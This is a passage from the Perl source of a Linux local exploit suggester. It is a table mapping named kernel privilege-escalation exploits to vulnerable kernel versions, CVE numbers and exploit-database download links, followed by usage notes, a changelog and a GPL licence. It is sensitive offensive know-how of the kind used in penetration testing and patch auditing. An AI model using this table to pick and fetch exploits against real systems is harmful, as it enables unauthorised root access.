'http://www.exploit-db.com/exploits/5092', 192 | }, 193 | 'vmsplice2' => { 194 | vuln => [ '2.6.23', '2.6.24' ], 195 | alt => 'diane_lane', 196 | cve => '2008-0600', 197 | mil => 'http://www.exploit-db.com/exploits/5093', 198 | }, 199 | 'vconsole' => { 200 | vuln => ['2.6.'], 201 | cve => '2009-1046', 202 | }, 203 | 'sctp' => { 204 | vuln => ['2.6.26'], 205 | cve => '2008-4113', 206 | }, 207 | 'ftrex' => { 208 | vuln => [ 209 | '2.6.11', '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', 210 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', 211 | ], 212 | cve => '2008-4210', 213 | mil => 'http://www.exploit-db.com/exploits/6851', 214 | }, 215 | 'exit_notify' => { 216 | vuln => [ '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29' ], 217 | mil => 'http://www.exploit-db.com/exploits/8369', 218 | }, 219 | 'udev' => { 220 | vuln => [ '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29' ], 221 | alt => 'udev <1.4.1', 222 | cve => '2009-1185', 223 | mil => 'http://www.exploit-db.com/exploits/8478', 224 | }, 225 | 226 | 'sock_sendpage2' => { 227 | vuln => [ 228 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9', 229 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15', 230 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21', 231 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27', 232 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33', 233 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1', 234 | '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7', 235 | '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13', 236 | '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19', 237 | '2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25', 238 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', 239 | ], 240 | alt => 'proto_ops', 241 | cve => '2009-2692', 242 | mil => 'http://www.exploit-db.com/exploits/9436', 243 | }, 244 | 245 | 'sock_sendpage' => { 246 | vuln => [ 247 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9', 248 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15', 249 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21', 250 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27', 251 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33', 252 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1', 253 | '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7', 254 | '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13', 255 | '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19', 256 | '2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25', 257 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', 258 | ], 259 | alt => 'wunderbar_emporium', 260 | cve => '2009-2692', 261 | mil => 'http://www.exploit-db.com/exploits/9435', 262 | }, 263 | 'udp_sendmsg_32bit' => { 264 | vuln => [ 265 | '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', 266 | '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', 267 | '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', 268 | '2.6.19', 269 | ], 270 | cve => '2009-2698', 271 | mil => 272 | 'http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c', 273 | }, 274 | 'pipe.c_32bit' => { 275 | vuln => [ 276 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9', 277 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15', 278 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21', 279 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27', 280 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33', 281 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.15', '2.6.16', 282 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', 283 | '2.6.23', '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', 284 | '2.6.29', '2.6.30', '2.6.31', 285 | ], 286 | cve => '2009-3547', 287 | mil => 288 | 'http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c', 289 | }, 290 | 'do_pages_move' => { 291 | vuln => [ 292 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 293 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 294 | '2.6.30', '2.6.31', 295 | ], 296 | alt => 'sieve', 297 | cve => '2010-0415', 298 | mil => 'Spenders Enlightenment', 299 | }, 300 | 'reiserfs' => { 301 | vuln => [ 302 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 303 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 304 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', 305 | ], 306 | cve => '2010-1146', 307 | mil => 'http://www.exploit-db.com/exploits/12130/', 308 | }, 309 | 'can_bcm' => { 310 | vuln => [ 311 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 312 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 313 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 314 | '2.6.36', 315 | ], 316 | cve => '2010-2959', 317 | mil => 'http://www.exploit-db.com/exploits/14814/', 318 | }, 319 | 'rds' => { 320 | vuln => [ 321 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', 322 | '2.6.34', '2.6.35', '2.6.36', 323 | ], 324 | mil => 'http://www.exploit-db.com/exploits/15285/', 325 | cve => '2010-3904', 326 | }, 327 | 'half_nelson' => { 328 | vuln => [ 329 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 330 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 331 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 332 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 333 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 334 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 335 | '2.6.36', 336 | ], 337 | alt => 'econet', 338 | cve => '2010-3848', 339 | mil => 'http://www.exploit-db.com/exploits/6851', 340 | }, 341 | 'half_nelson1' => { 342 | vuln => [ 343 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 344 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 345 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 346 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 347 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 348 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 349 | '2.6.36', 350 | ], 351 | alt => 'econet', 352 | cve => '2010-3848', 353 | mil => 'http://www.exploit-db.com/exploits/17787/', 354 | }, 355 | 'half_nelson2' => { 356 | vuln => [ 357 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 358 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 359 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 360 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 361 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 362 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 363 | '2.6.36', 364 | ], 365 | alt => 'econet', 366 | cve => '2010-3850', 367 | mil => 'http://www.exploit-db.com/exploits/17787/', 368 | }, 369 | 'half_nelson3' => { 370 | vuln => [ 371 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 372 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 373 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 374 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 375 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 376 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 377 | '2.6.36', 378 | ], 379 | alt => 'econet', 380 | cve => '2010-4073', 381 | mil => 'http://www.exploit-db.com/exploits/17787/', 382 | }, 383 | 'caps_to_root' => { 384 | vuln => [ '2.6.34', '2.6.35', '2.6.36' ], 385 | cve => 'n/a', 386 | mil => 'http://www.exploit-db.com/exploits/15916/', 387 | }, 388 | 'american-sign-language' => { 389 | vuln => [ 390 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 391 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 392 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 393 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 394 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 395 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 396 | '2.6.36', 397 | ], 398 | cve => '2010-4347', 399 | mil => 'http://www.securityfocus.com/bid/45408/', 400 | }, 401 | 'pktcdvd' => { 402 | vuln => [ 403 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 404 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 405 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 406 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 407 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 408 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 409 | '2.6.36', 410 | ], 411 | cve => '2010-3437', 412 | mil => 'http://www.exploit-db.com/exploits/15150/', 413 | }, 414 | 'video4linux' => { 415 | vuln => [ 416 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 417 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 418 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 419 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 420 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 421 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', 422 | ], 423 | cve => '2010-3081', 424 | mil => 'http://www.exploit-db.com/exploits/15024/', 425 | }, 426 | 'memodipper' => { 427 | vuln => [ 428 | '2.6.39', '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', 429 | '3.0.5', '3.0.6', '3.1.0', 430 | ], 431 | cve => '2012-0056', 432 | mil => 'http://www.exploit-db.com/exploits/18411/', 433 | }, 434 | 'semtex' => { 435 | vuln => [ 436 | '2.6.37', '2.6.38', '2.6.39', '3.0.0', '3.0.1', '3.0.2', 437 | '3.0.3', '3.0.4', '3.0.5', '3.0.6', '3.1.0', 438 | ], 439 | cve => '2013-2094', 440 | mil => 'http://www.exploit-db.com/download/25444/‎', 441 | }, 442 | 'perf_swevent' => { 443 | vuln => [ 444 | '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', 445 | '3.0.6', '3.1.0', '3.2', '3.3', '3.4.0', '3.4.1', 446 | '3.4.2', '3.4.3', '3.4.4', '3.4.5', '3.4.6', '3.4.8', 447 | '3.4.9', '3.5', '3.6', '3.7', '3.8.0', '3.8.1', 448 | '3.8.2', '3.8.3', '3.8.4', '3.8.5', '3.8.6', '3.8.7', 449 | '3.8.8', '3.8.9', 450 | ], 451 | cve => '2013-2094', 452 | mil => 'http://www.exploit-db.com/download/26131', 453 | }, 454 | 'msr' => { 455 | vuln => [ 456 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 457 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.27', '2.6.28', 458 | '2.6.29', '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', 459 | '2.6.35', '2.6.36', '2.6.37', '2.6.38', '2.6.39', '3.0.0', 460 | '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', '3.0.6', 461 | '3.1.0', '3.2', '3.3', '3.4', '3.5', '3.6', 462 | '3.7.0', '3.7.6', 463 | ], 464 | cve => '2013-0268', 465 | mil => 'http://www.exploit-db.com/exploits/27297/', 466 | }, 467 | 'timeoutpwn' => { 468 | vuln => [ 469 | '3.4', '3.5', '3.6', '3.7', '3.8', '3.8.9', '3.9', '3.10', 470 | '3.11', '3.12', '3.13', '3.4.0', '3.5.0', '3.6.0', '3.7.0', 471 | '3.8.0','3.8.5', '3.8.6', '3.8.9', '3.9.0', '3.9.6', 472 | '3.10.0','3.10.6', '3.11.0','3.12.0','3.13.0','3.13.1' 473 | ], 474 | cve => '2014-0038', 475 | mil => 'http://www.exploit-db.com/exploits/31346/', 476 | }, 477 | 'rawmodePTY' => { 478 | vuln => [ 479 | '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', '2.6.36', '2.6.37', 480 | '2.6.38', '2.6.39', '3.14', '3.15' 481 | ], 482 | cve => '2014-0196', 483 | mil => 'http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c', 484 | }, 485 | ); 486 | } 487 | 488 | __END__ 489 | =head1 NAME 490 | 491 | Linux_Exploit_Suggester.pl - A local exploit suggester for linux 492 | 493 | =head1 DESCRIPTION 494 | 495 | This perl script will enumerate the possible exploits available for a given kernel version 496 | 497 | =head1 USAGE 498 | $ Local_Exploit_Checker [-h] [-k kernel] 499 | 500 | [-h] help 501 | [-k] kernel Eg. 2.6.28 502 | 503 | You can also provide a partial kernel version (eg. 2.4) 504 | to see all exploits available. 505 | 506 | =head1 AUTHOR 507 | 508 | Andy (c) 10-07-2009 509 | 510 | Thanks to Brian for bugfixes, and sploit additions. 511 | 512 | =head1 CHANGELOG 513 | 19-04-2014 added cve-2014-0196 and bug fixes (Andy) 514 | 515 | 05-09-2013 code cleanup/optimizations and partial kernel feature (garu) 516 | 517 | 28-08-2013 added msr driver (Andy) 518 | 519 | 12-06-2013 added perf_swevent (Andy) 520 | 521 | 23-01-2012 added memodipper (Andy) 522 | 523 | 14-11-2011 bug fix to cut kernel version, plus a few more sploits listed (Brian) 524 | 525 | =cut 526 | 527 | =head1 LICENSE 528 | 529 | Linux Exploit Suggester 530 | 531 | This program is free software; you can redistribute it and/or modify 532 | it under the terms of the GNU General Public License as published by 533 | the Free Software Foundation; either version 2 of the License, or 534 | (at your option) any later version. 535 | 536 | This program is distributed in the hope that it will be useful, 537 | but WITHOUT ANY WARRANTY; without even the implied warranty of 538 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 539 | GNU General Public License for more details. 540 | 541 | You should have received a copy of the GNU General Public License along 542 | with this program; if not, write to the Free Software Foundation, Inc., 543 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 544 | 545 | 546 | =cut 547 | 548 | 549 | --------------------------------------------------------------------------------